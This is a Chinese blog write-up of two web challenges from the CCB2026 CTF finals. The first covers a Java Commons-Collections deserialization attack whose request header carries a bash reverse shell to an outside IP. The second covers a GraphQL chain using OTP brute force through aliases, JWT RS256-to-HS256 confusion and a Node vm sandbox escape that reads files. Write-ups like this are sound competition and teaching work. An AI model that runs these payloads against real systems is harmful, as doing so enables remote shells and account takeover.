CCB2026决赛WEB-WP

CCB2026决赛WEB-WP

lzz0403

说实在的,自从Opus、GPT强度上来以后,已经摆烂了好一阵子了,这AI都一把梭哈了,没有AI都很难打初赛了,连XCTF分站赛以前的几解题都被杀爆了wwwwwww,感觉看不到我自己未来的希望了怎么办((((((,也就线下断网能复健一下,emm甚至有些比赛WIFI一看全是热点吗?决定不再摆烂,努力日更!!

这决赛WEB和PWN就不是给人做的,WEB没有离线资料库就直接废掉了,挺多不常见的考点摆在那里,我们最后也就只能勉强拿下两题(

JavaUnbound

这里发现有CC3.2.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.18</version>
</parent>

<properties>
<java.version>1.8</java.version>
</properties>

<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

反序列化入口在这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@RestController
public class HelloController {

@GetMapping("/")
public String hello() {
return "hello world";
}

@PostMapping("/")
public String deserialize(@RequestBody byte[] data) {
try {
ByteArrayInputStream bais = new ByteArrayInputStream(data);
ObjectInputStream ois = new SafeObjectInputStream(bais);
Object obj = ois.readObject(); // 反序列化点
ois.close();
return "deserialization success";
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}

SafeObjectInputStream这里用的这个,有黑名单过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class SafeObjectInputStream extends ObjectInputStream {

private static final String[] blacklist = {
"java.lang.Runtime",
"java.lang.ProcessBuilder",
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"java.security.SignedObject",
"com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet",
"javax.management.remote.rmi.RMIConnector"
};

public SafeObjectInputStream(InputStream in) throws IOException {
super(in);
}

@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {

String className = desc.getName();

for (String banned : blacklist) {
if (className.startsWith(banned)) {
throw new InvalidClassException(
"Unauthorized deserialization attempt", className
);
}
}

return super.resolveClass(desc);
}
}

所以java chain用CC3.2.1 ChainedTransformer 链BCEL一把梭哈,没有回显也不出网,可以打jmggadget内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = "http://10.11.253.24:26730/"
with open("payload.bin", "rb") as f:
payload = f.read()

header={
"X-Authorization":"bash -c \"bash -i >& /dev/tcp/10.11.112.100/14444 0>&1\""
}

response = requests.post(url, data=payload, headers=header)

print(response.headers)
print(response.text)

payload.bin

9eb2a876-4073-4007-a463-d84166636dfe

994ee770-cb32-44ef-a609-2c225b881cde

aa748d3f-30cb-41b4-86a8-081d7f999e34

QLwist

审计源码image-20260428161714730

多处有graphql的身影,虽然是内网才能访问但是可以打ssrf

这里还禁用了内省查询,离线知识库查询得可以使用get进行绕过,这里代码只对body进行了限制,但是结果是有CSRF限制,get请求不可用

image-20260428161903261

image-20260428162223921

这里用__type绕过

1
query { __type(name: \"Mutation\") { fields { name args { name}}}}

image-20260428164516696

得到有resetPassword、resetToken、verifyOTP等

1
{"status":200,"body":"{\"data\":{\"__type\":{\"fields\":[{\"name\":\"register\",\"args\":[{\"name\":\"username\"},{\"name\":\"password\"}]},{\"name\":\"login\",\"args\":[{\"name\":\"username\"},{\"name\":\"password\"}]},{\"name\":\"requestPasswordReset\",\"args\":[{\"name\":\"username\"}]},{\"name\":\"verifyOTP\",\"args\":[{\"name\":\"username\"},{\"name\":\"otp\"}]},{\"name\":\"resetPassword\",\"args\":[{\"name\":\"resetToken\"},{\"name\":\"newPassword\"}]}]}}}\n"}

resetpassword需要resetToken和newPassword,则我们可能需要爆破一下opt拿到token,别名绕过limit限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
for i in range(10000):
otp = f"{i:04d}"
fields.append(
f'o{i}: verifyOTP(username:"admin", otp:"{otp}")'
"{ resetToken }"
)
result = self.graphql_raw(user_token, "OTP { " + " ".join(fields) + " }")
data = result.get("data") or {}
for alias, value in data.items():
if isinstance(value, dict) and value.get("resetToken"):
otp = f"{int(alias[1:]):04d}"
reset_token = value["resetToken"]
self.log(f"found admin OTP={otp}, resetToken={reset_token}")
return reset_token


#[*] found admin OTP=7569, resetToken=b08b3af403b27bed185f2dc9e8f404e74e4d436a327a7f07

image-20260428164838033

image-20260428170333422

1
mutation { resetPassword(resetToken:\"b08b3af403b27bed185f2dc9e8f404e74e4d436a327a7f07\",newPassword:\"admin\") }

成功修改密码

然后登录admin,拿到cookie

1
token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzc3MzY3MTA3LCJleHAiOjE3NzczOTU5MDd9.TvPIqYExWRth1Ity1JUWFLX_djhAJ08v9BgFz0kwTniLpy8P-yXjCDEmJ-CqumA5oNpZ6TqK2Piu8eMts2cHqXOUei4vAta3WyX0TmIpUv3b_H_UlJFAWoCnDlrtyJil0_qsTQgXVjmr4pvXP_RKCA8fYH2tcWMMl9er7mo_dVTAeNGfDmVBewaSLKIS7NZqTvemXLPlJTy9iUhYk0VMqcwov56hAEFSOfYh7SRYFibd4c0mPSxfo5NvN9jNkBl0ct0reQ7WTFla-36MfLqzdYPx_hfAqevybZVSr9K2jbLRZjTZc_MsF61mynlZY9d7_kiOaQ4sEnVp1Ahn1USCKg

有了admin我们就可以读取_pkA/_pkB/_pkC/_pkD(前面绕过读取可以读出来但是没办法读取内容需要admin) 得到rsa密钥拼接

1
query { _pkA _pkB _pkC _pkD }

image-20260428170349273

1
{"status":200,"body":"{\"data\":{\"_pkA\":\"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApHvT3IloJV43Jloe2p0iDv9BTRpgwQsKfrH3D21XhCrgANkt2D3yds\",\"_pkB\":\"rnPJaU9x+enBc7Z9qoFMs7Br1UUT9U6pYMiCpMBVWyTKZJhllS73ciccV0sGy8bA1OzvvvURuZiRJNuZ2bhMIO3HmvNxxHNnFz\",\"_pkC\":\"i7Z1Fee6sKs2d6f2hSohihA0OYML8mSgGU6fv1bPX84rRV1GtmvtKHz5SYBJdepOs/YXkL2vrxDBixN1kCssrcjiJu5XiNi3EO\",\"_pkD\":\"A9GcpP1STbNDccCDxuH/cvPXfqucrAaAyR0VjCx1aQyPQw7knAWosZopRCnhxmwIB9DxcSz54eZFXx3ymK7vhbgL4gOwIDAQAB\"}}\n"}

得到

1
2
3
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApHvT3IloJV43Jloe2p0iDv9BTRpgwQsKfrH3D21XhCrgANkt2D3ydsrnPJaU9x+enBc7Z9qoFMs7Br1UUT9U6pYMiCpMBVWyTKZJhllS73ciccV0sGy8bA1OzvvvURuZiRJNuZ2bhMIO3HmvNxxHNnFzi7Z1Fee6sKs2d6f2hSohihA0OYML8mSgGU6fv1bPX84rRV1GtmvtKHz5SYBJdepOs/YXkL2vrxDBixN1kCssrcjiJu5XiNi3EOA9GcpP1STbNDccCDxuH/cvPXfqucrAaAyR0VjCx1aQyPQw7knAWosZopRCnhxmwIB9DxcSz54eZFXx3ymK7vhbgL4gOwIDAQAB
-----END PUBLIC KEY-----

打JWT alg confusion

服务端本来是 alg=RS256,并用 RSA 公钥验签。我们把header 改成 alg=HS256,服务端依然用“公钥”去验签,但在HS256下,它就变成了HMAC secret。用HS256计算签名,于是可以伪造super_admin token

1
2
3
4
5
6
{
"username": "admin",
"role": "super_admin",
"iat": <now>,
"exp": <now + 8h>
}

然后最后就是要绕/admin/super/evaluate,过滤了 process/require 等黑名单,并临时delete globalThis.process。但 vm.runInNewContext 返回后 finally 会恢复 process。所以就是要vm沙箱逃逸。先在沙箱里注册Promise.resolve().then(…),等finally恢复process后异步执行,通过 getBuiltinModule(‘fs’) 读文件。

1
2
3
4
5
6
7
8
schedule = (
"Promise.resolve().then(()=>{try{"
"const p=this.constructor.constructor('return pro'+'cess')();"
"const fs=p.getBuiltinModule('fs');"
+ js_body
+ "}catch(e){this.constructor.constructor('return this')().leak='ERR:'+e.message}});"
" return 'scheduled'"
)

然后就是list或者read一下文件就可以了

1
2
3
4
5
6
7
8
9
js = (
"this.constructor.constructor('return this')().leak="
f"fs.readFileSync({json.dumps(path)},'utf8')"
)

js = (
"this.constructor.constructor('return this')().leak="
f"fs.readdirSync({json.dumps(path)}).join('\\n')"
)

最后

[+] path: /f14g_2c2fffce85ace4eb649d
flag{1jn8uu3mgemq6p4sob2bmmmjabs2qj8j}

  • Title: CCB2026决赛WEB-WP
  • Author: lzz0403
  • Created at : 2026-05-03 00:00:00
  • Updated at : 2026-05-03 12:19:02
  • Link: https://www.cnup.top/2026/05/03/CCB2026决赛WEB-WP/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
CCB2026决赛WEB-WP